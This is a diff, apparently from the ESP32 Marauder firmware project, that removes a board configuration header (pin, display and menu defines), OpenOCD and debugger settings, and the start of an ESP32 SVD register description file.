-  #define POLISH_POTATO
-  
-  //#define MARAUDER_MINI
-  //#define MARAUDER_V4
-  //#define MARAUDER_V6
-  //#define MARAUDER_KIT
-  //#define GENERIC_ESP32
-  #define MARAUDER_FLIPPER
-  #define ESP32_CAM
-  #define DISABLE_RGB_LED
-  #define USE_SD_MMC_ALTERNATIVE
-  
-  //#define ESP32_LDDB
-  //#define MARAUDER_DEV_BOARD_PRO
-
-  #define MARAUDER_VERSION "v0.10.1"
-
-  //// BUTTON DEFINITIONS
-  #ifdef MARAUDER_MINI
-    #define L_BTN 13
-    #define C_BTN 34
-    #define U_BTN 36
-    #define R_BTN 39
-    #define D_BTN 35
-  #endif
-
-  #ifdef MARAUDER_V4
-  #endif
-  //// END BUTTON DEFINITIONS
-
-  //// DISPLAY DEFINITIONS
-  #ifdef MARAUDER_V4
-    #define BANNER_TEXT_SIZE 2
-
-    #ifndef TFT_WIDTH
-      #define TFT_WIDTH 240
-    #endif
-
-    #ifndef TFT_HEIGHT
-      #define TFT_HEIGHT 320
-    #endif
-
-    #define TFT_SHIELD
-    
-    #define SCREEN_WIDTH TFT_WIDTH
-    #define SCREEN_HEIGHT TFT_HEIGHT
-    #define HEIGHT_1 TFT_WIDTH
-    #define WIDTH_1 TFT_HEIGHT
-    #define STANDARD_FONT_CHAR_LIMIT (TFT_WIDTH/6) // number of characters on a single line with normal font
-    #define TEXT_HEIGHT 16 // Height of text to be printed and scrolled
-    #define BOT_FIXED_AREA 0 // Number of lines in bottom fixed area (lines counted from bottom of screen)
-    #define TOP_FIXED_AREA 48 // Number of lines in top fixed area (lines counted from top of screen)
-    #define YMAX 320 // Bottom of screen area
-    #define minimum(a,b)     (((a) < (b)) ? (a) : (b))
-    //#define MENU_FONT NULL
-    #define MENU_FONT &FreeMono9pt7b // Winner
-    //#define MENU_FONT &FreeMonoBold9pt7b
-    //#define MENU_FONT &FreeSans9pt7b
-    //#define MENU_FONT &FreeSansBold9pt7b
-    #define BUTTON_ARRAY_LEN 10
-    #define STATUS_BAR_WIDTH 16
-    #define LVGL_TICK_PERIOD 6
-    
-    #define FRAME_X 100
-    #define FRAME_Y 64
-    #define FRAME_W 120
-    #define FRAME_H 50
-    
-    // Red zone size
-    #define REDBUTTON_X FRAME_X
-    #define REDBUTTON_Y FRAME_Y
-    #define REDBUTTON_W (FRAME_W/2)
-    #define REDBUTTON_H FRAME_H
-    
-    // Green zone size
-    #define GREENBUTTON_X (REDBUTTON_X + REDBUTTON_W)
-    #define GREENBUTTON_Y FRAME_Y
-    #define GREENBUTTON_W (FRAME_W/2)
-    #define GREENBUTTON_H FRAME_H
-    
-    #define STATUSBAR_COLOR 0x4A49
-    
-    #define KIT_LED_BUILTIN 13
-  #endif
-
-  #ifdef MARAUDER_V6
-    #define BANNER_TEXT_SIZE 2
-
-    #ifndef TFT_WIDTH
-      #define TFT_WIDTH 240
-    #endif
-
-    #ifndef TFT_HEIGHT
-      #define TFT_HEIGHT 320
-    #endif
-
-    #define TFT_DIY
-    
-    #define SCREEN_WIDTH TFT_WIDTH
-    #define SCREEN_HEIGHT TFT_HEIGHT
-    #define HEIGHT_1 TFT_WIDTH
-    #define WIDTH_1 TFT_HEIGHT
-    #define STANDARD_FONT_CHAR_LIMIT (TFT_WIDTH/6) // number of characters on a single line with normal font
-    #define TEXT_HEIGHT 16 // Height of text to be printed and scrolled
-    #define BOT_FIXED_AREA 0 // Number of lines in bottom fixed area (lines counted from bottom of screen)
-    #define TOP_FIXED_AREA 48 // Number of lines in top fixed area (lines counted from top of screen)
-    #define YMAX 320 // Bottom of screen area
-    #define minimum(a,b)     (((a) < (b)) ? (a) : (b))
-    //#define MENU_FONT NULL
-    #define MENU_FONT &FreeMono9pt7b // Winner
-    //#define MENU_FONT &FreeMonoBold9pt7b
-    //#define MENU_FONT &FreeSans9pt7b
-    //#define MENU_FONT &FreeSansBold9pt7b
-    #define BUTTON_ARRAY_LEN 10
-    #define STATUS_BAR_WIDTH 16
-    #define LVGL_TICK_PERIOD 6
-    
-    #define FRAME_X 100
-    #define FRAME_Y 64
-    #define FRAME_W 120
-    #define FRAME_H 50
-    
-    // Red zone size
-    #define REDBUTTON_X FRAME_X
-    #define REDBUTTON_Y FRAME_Y
-    #define REDBUTTON_W (FRAME_W/2)
-    #define REDBUTTON_H FRAME_H
-    
-    // Green zone size
-    #define GREENBUTTON_X (REDBUTTON_X + REDBUTTON_W)
-    #define GREENBUTTON_Y FRAME_Y
-    #define GREENBUTTON_W (FRAME_W/2)
-    #define GREENBUTTON_H FRAME_H
-    
-    #define STATUSBAR_COLOR 0x4A49
-    
-    #define KIT_LED_BUILTIN 13
-  #endif 
-
-  #ifdef MARAUDER_KIT
-    #define BANNER_TEXT_SIZE 2
-
-    #ifndef TFT_WIDTH
-      #define TFT_WIDTH 240
-    #endif
-
-    #ifndef TFT_HEIGHT
-      #define TFT_HEIGHT 320
-    #endif
-
-    #define TFT_DIY
-    #define KIT
-    
-    #define SCREEN_WIDTH TFT_WIDTH
-    #define SCREEN_HEIGHT TFT_HEIGHT
-    #define HEIGHT_1 TFT_WIDTH
-    #define WIDTH_1 TFT_HEIGHT
-    #define STANDARD_FONT_CHAR_LIMIT (TFT_WIDTH/6) // number of characters on a single line with normal font
-    #define TEXT_HEIGHT 16 // Height of text to be printed and scrolled
-    #define BOT_FIXED_AREA 0 // Number of lines in bottom fixed area (lines counted from bottom of screen)
-    #define TOP_FIXED_AREA 48 // Number of lines in top fixed area (lines counted from top of screen)
-    #define YMAX 320 // Bottom of screen area
-    #define minimum(a,b)     (((a) < (b)) ? (a) : (b))
-    //#define MENU_FONT NULL
-    #define MENU_FONT &FreeMono9pt7b // Winner
-    //#define MENU_FONT &FreeMonoBold9pt7b
-    //#define MENU_FONT &FreeSans9pt7b
-    //#define MENU_FONT &FreeSansBold9pt7b
-    #define BUTTON_ARRAY_LEN 10
-    #define STATUS_BAR_WIDTH 16
-    #define LVGL_TICK_PERIOD 6
-    
-    #define FRAME_X 100
-    #define FRAME_Y 64
-    #define FRAME_W 120
-    #define FRAME_H 50
-    
-    // Red zone size
-    #define REDBUTTON_X FRAME_X
-    #define REDBUTTON_Y FRAME_Y
-    #define REDBUTTON_W (FRAME_W/2)
-    #define REDBUTTON_H FRAME_H
-    
-    // Green zone size
-    #define GREENBUTTON_X (REDBUTTON_X + REDBUTTON_W)
-    #define GREENBUTTON_Y FRAME_Y
-    #define GREENBUTTON_W (FRAME_W/2)
-    #define GREENBUTTON_H FRAME_H
-    
-    #define STATUSBAR_COLOR 0x4A49
-    
-    #define KIT_LED_BUILTIN 13
-  #endif
-  
-  #ifdef MARAUDER_MINI
-    #define TFT_MISO 19
-    #define TFT_MOSI 23
-    #define TFT_SCLK 18
-    #define TFT_CS 27
-    #define TFT_DC 26
-    #define TFT_RST 5
-    #define TFT_BL 32
-    #define TOUCH_CS 21
-    #define SD_CS 4
-
-    #define SCREEN_BUFFER
-
-    #define MAX_SCREEN_BUFFER 9
-
-    #define BANNER_TEXT_SIZE 1
-
-    #ifndef TFT_WIDTH
-      #define TFT_WIDTH 128
-    #endif
-
-    #ifndef TFT_HEIGHT
-      #define TFT_HEIGHT 128
-    #endif
-
-    #define CHAR_WIDTH 6
-    #define SCREEN_WIDTH TFT_WIDTH // Originally 240
-    #define SCREEN_HEIGHT TFT_HEIGHT // Originally 320
-    #define HEIGHT_1 TFT_WIDTH
-    #define WIDTH_1 TFT_WIDTH
-    #define STANDARD_FONT_CHAR_LIMIT (TFT_WIDTH/6) // number of characters on a single line with normal font
-    #define TEXT_HEIGHT (TFT_HEIGHT/10) // Height of text to be printed and scrolled
-    #define BOT_FIXED_AREA 0 // Number of lines in bottom fixed area (lines counted from bottom of screen)
-    #define TOP_FIXED_AREA 48 // Number of lines in top fixed area (lines counted from top of screen)
-    #define YMAX TFT_HEIGHT // Bottom of screen area
-    #define minimum(a,b)     (((a) < (b)) ? (a) : (b))
-    //#define MENU_FONT NULL
-    #define MENU_FONT &FreeMono9pt7b // Winner
-    //#define MENU_FONT &FreeMonoBold9pt7b
-    //#define MENU_FONT &FreeSans9pt7b
-    //#define MENU_FONT &FreeSansBold9pt7b
-    #define BUTTON_ARRAY_LEN 10
-    #define STATUS_BAR_WIDTH (TFT_HEIGHT/16)
-    #define LVGL_TICK_PERIOD 6
-    
-    #define FRAME_X 100
-    #define FRAME_Y 64
-    #define FRAME_W 120
-    #define FRAME_H 50
-    
-    // Red zone size
-    #define REDBUTTON_X FRAME_X
-    #define REDBUTTON_Y FRAME_Y
-    #define REDBUTTON_W (FRAME_W/2)
-    #define REDBUTTON_H FRAME_H
-    
-    // Green zone size
-    #define GREENBUTTON_X (REDBUTTON_X + REDBUTTON_W)
-    #define GREENBUTTON_Y FRAME_Y
-    #define GREENBUTTON_W (FRAME_W/2)
-    #define GREENBUTTON_H FRAME_H
-    
-    #define STATUSBAR_COLOR 0x4A49
-  #endif
-  //// END DISPLAY DEFINITIONS
-
-  //// MENU DEFINITIONS
-  #ifdef MARAUDER_V4
-    #define BANNER_TIME 100
-    
-    #define COMMAND_PREFIX "!"
-    
-    // Keypad start position, key sizes and spacing
-    #define KEY_X 120 // Centre of key
-    #define KEY_Y 50
-    #define KEY_W 240 // Width and height
-    #define KEY_H 22
-    #define KEY_SPACING_X 0 // X and Y gap
-    #define KEY_SPACING_Y 1
-    #define KEY_TEXTSIZE 1   // Font size multiplier
-    #define ICON_W 22
-    #define ICON_H 22
-    #define BUTTON_PADDING 22
-    //#define BUTTON_ARRAY_LEN 5
-  #endif
-
-  #ifdef MARAUDER_V6
-    #define BANNER_TIME 100
-    
-    #define COMMAND_PREFIX "!"
-    
-    // Keypad start position, key sizes and spacing
-    #define KEY_X 120 // Centre of key
-    #define KEY_Y 50
-    #define KEY_W 240 // Width and height
-    #define KEY_H 22
-    #define KEY_SPACING_X 0 // X and Y gap
-    #define KEY_SPACING_Y 1
-    #define KEY_TEXTSIZE 1   // Font size multiplier
-    #define ICON_W 22
-    #define ICON_H 22
-    #define BUTTON_PADDING 22
-    //#define BUTTON_ARRAY_LEN 5
-  #endif
-
-  #ifdef MARAUDER_KIT
-    #define BANNER_TIME 100
-    
-    #define COMMAND_PREFIX "!"
-    
-    // Keypad start position, key sizes and spacing
-    #define KEY_X 120 // Centre of key
-    #define KEY_Y 50
-    #define KEY_W 240 // Width and height
-    #define KEY_H 22
-    #define KEY_SPACING_X 0 // X and Y gap
-    #define KEY_SPACING_Y 1
-    #define KEY_TEXTSIZE 1   // Font size multiplier
-    #define ICON_W 22
-    #define ICON_H 22
-    #define BUTTON_PADDING 22
-    //#define BUTTON_ARRAY_LEN 5
-  #endif
-  
-  #ifdef MARAUDER_MINI
-    #define BANNER_TIME 50
-    
-    #define COMMAND_PREFIX "!"
-    
-    // Keypad start position, key sizes and spacing
-    #define KEY_X (TFT_WIDTH/2) // Centre of key
-    #define KEY_Y (TFT_HEIGHT/4.5)
-    #define KEY_W TFT_WIDTH // Width and height
-    #define KEY_H (TFT_HEIGHT/12.8)
-    #define KEY_SPACING_X 0 // X and Y gap
-    #define KEY_SPACING_Y 1
-    #define KEY_TEXTSIZE 1   // Font size multiplier
-    #define ICON_W 22
-    #define ICON_H 22
-    #define BUTTON_PADDING 10
-  #endif
-  //// END MENU DEFINITIONS
-
-  //// SD DEFINITIONS
-  #ifdef MARAUDER_V4
-    #define SD_CS 12
-  #endif
-
-  #ifdef MARAUDER_V6
-    #define SD_CS 12
-  #endif
-
-  #ifdef MARAUDER_KIT
-    #define SD_CS 12
-  #endif
-
-  #ifdef MARAUDER_MINI
-    #define SD_CS 4
-  #endif
-
-  #ifdef MARAUDER_FLIPPER
-    #define SD_CS 10
-  #endif
-
-  #ifdef ESP32_LDDB
-    #define SD_CS 4
-  #endif
-
-  #ifdef MARAUDER_DEV_BOARD_PRO
-    #define SD_CS 4
-  #endif
-  //// END SD DEFINITIONS
-
-  //// SCREEN STUFF
-  #ifdef MARAUDER_MINI
-    #define HAS_SCREEN
-    #define HAS_BT
-  #endif
-
-  #ifdef MARAUDER_V4
-    #define HAS_SCREEN
-    #define HAS_BT
-  #endif
-
-  #ifdef MARAUDER_V6
-    #define HAS_SCREEN
-    #define HAS_BT
-  #endif
-
-  #ifdef MARAUDER_KIT
-    #define HAS_SCREEN
-    #define HAS_BT
-  #endif
-
-  #ifdef GENERIC_ESP32
-    #define HAS_BT
-  #endif
-
-  #ifndef HAS_SCREEN
-    #define TFT_WHITE 0
-    #define TFT_CYAN 0
-    #define TFT_BLUE 0
-    #define TFT_RED 0
-    #define TFT_GREEN 0
-    #define TFT_GREY 0
-    #define TFT_GRAY 0
-    #define TFT_MAGENTA 0
-    #define TFT_VIOLET 0
-    #define TFT_ORANGE 0
-    #define TFT_YELLOW 0
-    #define STANDARD_FONT_CHAR_LIMIT 40
-    #define FLASH_BUTTON -1
-
-    #include <FS.h>
-    #include <functional>
-    #include <LinkedList.h>
-    #include "SPIFFS.h"
-    #include "Assets.h"
-  #endif
-  //// END SCREEN STUFF
-
-  //// NEOPIXEL STUFF  
-  #if defined(ESP32_LDDB)
-    #define PIN 17
-  #elif defined(MARAUDER_DEV_BOARD_PRO)
-    #define PIN 16
-  #else
-    #define PIN 25
-  #endif
-  
-
-#endif

esp32_marauder/debug.cfg

@@ -1,14 +0,0 @@
-# SPDX-License-Identifier: GPL-2.0-or-later
-#
-# Example OpenOCD configuration file for ESP32-WROVER-KIT board.
-#
-# For example, OpenOCD can be started for ESP32 debugging on
-#
-#   openocd -f board/esp32-wrover-kit-3.3v.cfg
-#
-
-# Source the JTAG interface configuration file
-source [find interface/ftdi/esp32_devkitj_v1.cfg]
-set ESP32_FLASH_VOLTAGE 3.3
-# Source the ESP32 configuration file
-source [find target/esp32.cfg]

esp32_marauder/debug_custom.json

@@ -1,19 +0,0 @@
-{
-	"name":"Arduino on ESP32",
-	"toolchainPrefix":"xtensa-esp32-elf",
-	"svdFile":"esp32.svd",
-	"request":"attach",
-	"postAttachCommands":[
-		"set remote hardware-watchpoint-limit 2",
-		"monitor reset halt",
-		"monitor gdb_sync",
-		"thb setup",
-		"c"
-	],
-	"overrideRestartCommands":[
-		"monitor reset halt",
-		"monitor gdb_sync",
-		"thb setup",
-		"c"
-	]
-}

esp32_marauder/esp32.svd

@@ -1,46087 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<device schemaVersion="1.1" xmlns:xs="http://www.w3.org/2001/XMLSchema-instance" xs:noNamespaceSchemaLocation="CMSIS-SVD_Schema_1_1.xsd">
-  <vendor>ESPRESSIF SYSTEMS (SHANGHAI) CO., LTD.</vendor>
-  <vendorID>ESPRESSIF</vendorID>
-  <name>ESP32</name>
-  <series>ESP32</series>
-  <version>8</version>
-  <description>32-bit MCU &amp; 2.4 GHz Wi-Fi &amp; Bluetooth/Bluetooth LE</description>
-  <licenseText>
-    Copyright 2022 Espressif Systems (Shanghai) PTE LTD
-
-    Licensed under the Apache License, Version 2.0 (the "License");
-    you may not use this file except in compliance with the License.
-    You may obtain a copy of the License at
-
-        http://www.apache.org/licenses/LICENSE-2.0
-
-    Unless required by applicable law or agreed to in writing, software
-    distributed under the License is distributed on an "AS IS" BASIS,
-    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-    See the License for the specific language governing permissions and
-    limitations under the License.
-</licenseText>
-  <cpu>
-    <name>Xtensa LX6</name>
-    <revision>r0p0</revision>
-    <endian>little</endian>
-    <mpuPresent>false</mpuPresent>
-    <fpuPresent>true</fpuPresent>
-    <nvicPrioBits>3</nvicPrioBits>
-    <vendorSystickConfig>false</vendorSystickConfig>
-  </cpu>
-  <addressUnitBits>32</addressUnitBits>
-  <width>32</width>
-  <resetValue>0x00000000</resetValue>
-  <resetMask>0xFFFFFFFF</resetMask>
-  <peripherals>
-    <peripheral>
-      <name>AES</name>
-      <description>AES (Advanced Encryption Standard) Accelerator</description>
-      <groupName>AES</groupName>
-      <baseAddress>0x3FF01000</baseAddress>
-      <addressBlock>
-        <offset>0x0</offset>
-        <size>0x40</size>
-        <usage>registers</usage>
-      </addressBlock>
-      <registers>
-        <register>
-          <name>START</name>
-          <addressOffset>0x0</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>START</name>
-              <description>Write 1 to start the AES operation.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>IDLE</name>
-          <addressOffset>0x4</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>IDLE</name>
-              <description>AES Idle register. Reads ’zero’ while the AES Accelerator is busy processing; reads ’one’ otherwise.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>MODE</name>
-          <addressOffset>0x8</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>MODE</name>
-              <description>Selects the AES accelerator mode of operation. See Table 22-1 for details.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <dim>8</dim>
-          <dimIncrement>0x4</dimIncrement>
-          <name>KEY_%s</name>
-          <addressOffset>0x10</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>KEY</name>
-              <description>AES key material register.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <dim>4</dim>
-          <dimIncrement>0x4</dimIncrement>
-          <name>TEXT_%s</name>
-          <addressOffset>0x30</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>TEXT</name>
-              <description>Plaintext and ciphertext register.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>ENDIAN</name>
-          <addressOffset>0x40</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>ENDIAN</name>
-              <description>Endianness selection register. See Table 22-2 for details.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-      </registers>
-    </peripheral>
-    <peripheral>
-      <name>APB_CTRL</name>
-      <description>Advanced Peripheral Bus Controller</description>
-      <groupName>APB_CTRL</groupName>
-      <baseAddress>0x3FF66000</baseAddress>
-      <addressBlock>
-        <offset>0x0</offset>
-        <size>0x44</size>
-        <usage>registers</usage>
-      </addressBlock>
-      <registers>
-        <register>
-          <name>SYSCLK_CONF</name>
-          <addressOffset>0x0</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00002000</resetValue>
-          <fields>
-            <field>
-              <name>PRE_DIV_CNT</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>10</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CLK_320M_EN</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CLK_EN</name>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RST_TICK_CNT</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>QUICK_CLK_CHNG</name>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>XTAL_TICK_CONF</name>
-          <addressOffset>0x4</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000027</resetValue>
-          <fields>
-            <field>
-              <name>XTAL_TICK_NUM</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PLL_TICK_CONF</name>
-          <addressOffset>0x8</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x0000004F</resetValue>
-          <fields>
-            <field>
-              <name>PLL_TICK_NUM</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CK8M_TICK_CONF</name>
-          <addressOffset>0xC</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x0000000B</resetValue>
-          <fields>
-            <field>
-              <name>CK8M_TICK_NUM</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APB_SARADC_CTRL</name>
-          <addressOffset>0x10</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x007F8240</resetValue>
-          <fields>
-            <field>
-              <name>SARADC_START_FORCE</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SARADC_START</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SARADC_SAR2_MUX</name>
-              <description>1: SAR ADC2 is controlled by DIG ADC2 CTRL  0: SAR ADC2 is controlled by PWDET CTRL</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SARADC_WORK_MODE</name>
-              <description>0: single mode  1: double mode  2: alternate mode</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SARADC_SAR_SEL</name>
-              <description>0: SAR1  1: SAR2  only work for single SAR mode</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SARADC_SAR_CLK_GATED</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SARADC_SAR_CLK_DIV</name>
-              <description>SAR clock divider</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SARADC_SAR1_PATT_LEN</name>
-              <description>0 ~ 15 means length 1 ~ 16</description>
-              <bitOffset>15</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SARADC_SAR2_PATT_LEN</name>
-              <description>0 ~ 15 means length 1 ~ 16</description>
-              <bitOffset>19</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SARADC_SAR1_PATT_P_CLEAR</name>
-              <description>clear the pointer of pattern table for DIG ADC1 CTRL</description>
-              <bitOffset>23</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SARADC_SAR2_PATT_P_CLEAR</name>
-              <description>clear the pointer of pattern table for DIG ADC2 CTRL</description>
-              <bitOffset>24</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SARADC_DATA_SAR_SEL</name>
-              <description>1: sar_sel will be coded by the MSB of the 16-bit output data  in this case the resolution should not be larger than 11 bits.</description>
-              <bitOffset>25</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SARADC_DATA_TO_I2S</name>
-              <description>1: I2S input data is from SAR ADC (for DMA)  0: I2S input data is from GPIO matrix</description>
-              <bitOffset>26</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APB_SARADC_CTRL2</name>
-          <addressOffset>0x14</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x000001FE</resetValue>
-          <fields>
-            <field>
-              <name>SARADC_MEAS_NUM_LIMIT</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SARADC_MAX_MEAS_NUM</name>
-              <description>max conversion number</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SARADC_SAR1_INV</name>
-              <description>1: data to DIG ADC1 CTRL is inverted  otherwise not</description>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SARADC_SAR2_INV</name>
-              <description>1: data to DIG ADC2 CTRL is inverted  otherwise not</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APB_SARADC_FSM</name>
-          <addressOffset>0x18</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x0208FF08</resetValue>
-          <fields>
-            <field>
-              <name>SARADC_RSTB_WAIT</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SARADC_STANDBY_WAIT</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SARADC_START_WAIT</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SARADC_SAMPLE_CYCLE</name>
-              <description>sample cycles</description>
-              <bitOffset>24</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APB_SARADC_SAR1_PATT_TAB1</name>
-          <addressOffset>0x1C</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x0F0F0F0F</resetValue>
-          <fields>
-            <field>
-              <name>SARADC_SAR1_PATT_TAB1</name>
-              <description>item 0 ~ 3 for pattern table 1 (each item one byte)</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APB_SARADC_SAR1_PATT_TAB2</name>
-          <addressOffset>0x20</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x0F0F0F0F</resetValue>
-          <fields>
-            <field>
-              <name>SARADC_SAR1_PATT_TAB2</name>
-              <description>Item 4 ~ 7 for pattern table 1 (each item one byte)</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APB_SARADC_SAR1_PATT_TAB3</name>
-          <addressOffset>0x24</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x0F0F0F0F</resetValue>
-          <fields>
-            <field>
-              <name>SARADC_SAR1_PATT_TAB3</name>
-              <description>Item 8 ~ 11 for pattern table 1 (each item one byte)</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APB_SARADC_SAR1_PATT_TAB4</name>
-          <addressOffset>0x28</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x0F0F0F0F</resetValue>
-          <fields>
-            <field>
-              <name>SARADC_SAR1_PATT_TAB4</name>
-              <description>Item 12 ~ 15 for pattern table 1 (each item one byte)</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APB_SARADC_SAR2_PATT_TAB1</name>
-          <addressOffset>0x2C</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x0F0F0F0F</resetValue>
-          <fields>
-            <field>
-              <name>SARADC_SAR2_PATT_TAB1</name>
-              <description>item 0 ~ 3 for pattern table 2 (each item one byte)</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APB_SARADC_SAR2_PATT_TAB2</name>
-          <addressOffset>0x30</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x0F0F0F0F</resetValue>
-          <fields>
-            <field>
-              <name>SARADC_SAR2_PATT_TAB2</name>
-              <description>Item 4 ~ 7 for pattern table 2 (each item one byte)</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APB_SARADC_SAR2_PATT_TAB3</name>
-          <addressOffset>0x34</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x0F0F0F0F</resetValue>
-          <fields>
-            <field>
-              <name>SARADC_SAR2_PATT_TAB3</name>
-              <description>Item 8 ~ 11 for pattern table 2 (each item one byte)</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APB_SARADC_SAR2_PATT_TAB4</name>
-          <addressOffset>0x38</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x0F0F0F0F</resetValue>
-          <fields>
-            <field>
-              <name>SARADC_SAR2_PATT_TAB4</name>
-              <description>Item 12 ~ 15 for pattern table 2 (each item one byte)</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APLL_TICK_CONF</name>
-          <addressOffset>0x3C</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000063</resetValue>
-          <fields>
-            <field>
-              <name>APLL_TICK_NUM</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
